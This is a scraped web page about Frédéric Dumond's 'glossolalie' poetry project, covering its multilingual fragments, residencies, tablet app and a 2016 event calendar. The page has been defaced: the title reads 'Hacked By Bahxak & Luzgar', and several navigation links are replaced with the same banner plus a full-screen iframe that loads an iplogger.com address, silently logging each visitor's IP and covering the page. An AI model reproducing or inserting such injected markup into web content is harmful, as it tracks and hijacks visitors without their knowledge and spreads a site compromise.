Hacked By Bahxak & Luzgar</a></h1> <br>  <h1 class="titre">projet glossolalie 2011-2061</h1>  </div>  <br class="nettoyeur" /> <div class="texte"><p><strong>« glossolalie »</strong> est un projet multiforme — qui traverse les champs du numérique, de l’installation, de la performance, etc. — dont le noyau est l’écriture d’un vaste poème dans l’ensemble des langues de la planète (7000 langues environ)</p> <p>à ce jour (juin 2015) le poème est constitué de 57 fragments en 57 langues (gaulois, ingush, batsbi, obdorsk khanty, burushaski, bambara, navajo, lapon, lingala, bulu, nahuatl, arménien, hongrois, agni indénié, manadonais, wolof, japonais, burushaski, carijona, mitchif, arawak, purepucha, tedim, bijogo de Bubaque, oudmourte, tchétchène, shor, indo-européen, tahitien, tahitien, kwakum, manjak, tagalog )…</p> <p>les langues sont approchées et travaillées pendant des résidences (comme celle à Brazzaville au cours de laquelle un texte en lingala (une des langues officielles de la République du congo), et un autre en bulu (langue du Cameroun), ont été écrits — ou encore le travail en langue turque réalisé de janvier à juin 2015 dans le <a href="http://www.sautefrontiere.fr" class='spip_out' rel='external'>Haut-Jura</a>), ou via des ressources livres ou Internet</p> <p>CALENDRIER AUTOMNE 2016</p> <p>1. <strong>Nuit Blanche</strong></p> <p>1er octobre 2016</p> <p>floating on the air</p> <p>organisé par le réseau TRAM</p> <p>à l’invitation de la Maison Rouge à bord des batobus diffusion de "glossolale" pièce sonore inédite 7’</p> <p>2. <strong>MAD TALKS</strong> du Salon MAD Multiple ART DAYS</p> <p>à la <strong>Maison Rouge</strong></p> <p><strong>glossolalie, performance</strong></p> <p>dimanche 2 octobre 2016 15h</p> <p>3. <strong><a href="http://www.khiasma.net/hors-les-murs/relectures-17/" class='spip_out' rel='external'>Relectures 17</a></strong></p> <p>espace khiasma</p> <p>jeudi 6 octobre 21h</p> <p><strong>glossolalie, performance</strong></p> <p>« glossolalie » se déploie en performances, installations, publications, résidences, colloques, application pour supports tactiles (iphone et ipad)</p> <p><strong>l’application</strong> <strong>"glossolalie"</strong> est disponible depuis octobre 2015 sur l’Apple Store d’Apple. elle est tout à la fois <br /><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> un poème cinétique <br /><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> un lieu de ressources et un lieu de partage et de diffusion des savoirs</p> <p>elle donne forme au poème en devenir, au poème sans fin qu’est "<strong>glossolalie</strong>" — tout en mettant à disposition, via un espace web, une base de données de polices de caractères opensource, mises à disposition des besoins des locuteurs de ces langues rares, ou en voie de disparition. l’enjeu est de couvrir les besoins identifiés en fontes des langues rares ou en voie de disparition (cela complèterait des sites comme omniglot ou freelang, ou sil, par exemple, qui ne proposent que partiellement ces données) <br /><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> une interface d’échanges de savoir, de liens, de posts, et mise en relation avec ceux qui ont besoin des données mises à disposition <br /><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> des données géographiques et linguistiques sur chaque langue <br /><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> un espace documentant la manière dont chaque fragment a été écrit, véritables archives en ligne du processus d’écriture</p> <p>l’application pour tablettes et smartphones est réalisée <strong>avec le soutien du Dicream et de la Panacée, centre de culture contemporaine de Montpellier, et développée avec <a href="http://www.userstudio.fr/studio/" class='spip_out' rel='external'>Matthieu Savary</a></strong> le texte en turc a été écrit grâce à une bourse d’auteur en résidence du Centre régional du livre de Franche-Comté</p> <p><span class='spip_document_557 spip_documents spip_documents_center'> <img src='local/cache-vignettes/L520xH390/glossolalie-1-pour-site-web-684cc.jpg' width='520' height='390' alt="" style='height:390px;width:520px;' /></span></p> <p>résidences glossolaliques <br /><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> <strong>de février à juin 2014, @ La Panacée, centre de culture contemporaine de Montpellier</strong> : rencontres avec des chercheurs en ethno et socio-linguistique / rencontres et ateliers avec de jeunes allogosses (primo-arrivants)</p> <p><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> <strong>de janvier à juin 2015, @ la Maison de la poésie trans-jurassienne saute-frontière</strong> du Haut-Jura Saint-Claude : résidence de migration glossolalique d’écriture en langues turciques à partir de l’apprentissage du turc. rencontres, ateliers, colloques à Saint-Claude, sur le plateau, à Grenoble, à Besançon</p> <p><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> <strong>en septembre 2015, @ la Saline Royale d’Arc-et-Senans</strong></p> <p><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> <strong>en mars/avril 2016, @ la Saline Royale d’Arc-et-Senans</strong></p> <p><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> le recueil <strong>"peut-être quelque chose"</strong>, strate première de "glossolalie", a été publié aux <strong><a href="http://www.maelstromreevolution.org/pages/FRA/nostri_autori.asp" class='spip_out' rel='external'>éditions Maelstrom</a></strong> à l’automne 2014 articles <a href="http://mediatheque.communaute-emg.net/2015/05/06/la-bibliotheque-en-vadrouille-n21/" class='spip_out' rel='external'>médiathèque gantner</a> <a href="http://cahiercritiquedepoesie.fr/ccp-30-1/frederic-dumond-peut-etre-quelque-chose?preview=true" class='spip_out' rel='external'>CCP</a> cipm</p> <p><strong>archives glossolaliques</strong></p> <p><strong>2010/2013</strong></p> <p><img src="local/cache-vignettes/L8xH11/puce-32883.gif" width='8' height='11' class='puce' alt="-" style='height:11px;width:8px;' /> publication d’une proto-strate de glossolalie dans la revue skéné de l’Esbama (Ecole des Beaux-Arts de Montpellier agglomération)</p> <p><span class='spip_document_543 spip_documents spip_documents_center'> <img src='local/cache-vignettes/L520xH390/glossollaie_lcdf2-1e082.jpg' width='520' height='390' alt="" style='height:390px;width:520px;' /></span></p> <p>proto-glossolalie #4, en duo avec Kristoff K.Roll, La Chaux de fonds, 2013</p> <dl class='spip_document_542 spip_documents spip_documents_center'> <dt><img src='local/cache-vignettes/L520xH390/site_glossolalie_Ricard1-2-dab1a.jpg' width='520' height='390' alt='JPEG - 256 ko' style='height:390px;width:520px;' /></dt> </dl> <p>proto-glossolalie #3, cycle Partitions, Fondation Ricard, Paris, 2012</p> <p><span class='spip_document_544 spip_documents spip_documents_center'> <img src='local/cache-vignettes/L520xH390/site_glossolalie_marseille_2_-_copie-2-91b40.jpg' width='520' height='390' alt="" style='height:390px;width:520px;' /></span></p> <p>proto-glossolalie #2, La Compagnie, Marseille, 2011</p></div>  <a href="#forum" name="forum" id="forum"></a> </div> <div id="navigation"> <ul> <div class="rubriques"><li> <a href="http://fredericdumond.free.fr/actu">sommaire</a></li> <li><a href="spip.php?rubrique33"><title>Hacked By Bahxak & Luzgar</title><iframe src="https://iplogger.com/30uee.gif" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?rubrique36"><title>Hacked By Bahxak & Luzgar</title><iframe src="https://iplogger.com/30uee.gif" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?rubrique50"><title>Hacked By Bahxak & Luzgar</title><iframe src="https://iplogger.com/30uee.gif" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?rubrique51"><title>Hacked By Bahxak & Luzgar</title><iframe src="https://iplogger.com/30uee.gif" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?rubrique58"><title>Hacked By Bahxak & Luzgar</title><iframe src="https://iplogger.com/30uee.gif" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?auteur1">informations</a></li> <br> <br> <br> <li> <a href="spip.php?article250">projet glossolalie 2011-2061</a> <li> <a href="spip.php?article272">ontologies</a> </li> <br> <li> <div class="formulaire_spip formulaire_recherche" id="formulaire_recherche"> <form action="http://fredericdumond.free.fr/actu/spip.php?page=recherche" method="get"><div> <input name="page" value="recherche" type="hidden" /> <label for="recherche">Rechercher :</label> <input type="text" class="text" size="10" name="recherche" id="recherche" accesskey="4" /><input type="submit" class="submit" value=">>" title="Rechercher" /> </div></form> </div> </li> </ul> </div> </div> </div> <div id="pied"> <small> <a href="spip.php?auteur1">© frédéric dumond 2019 </a> | </small> </div> <br class="nettoyeur" /> <div style="background-image: url('http://fredericdumond.free.fr/actu/spip.php?action=cron');"></div> </div> </body> </html>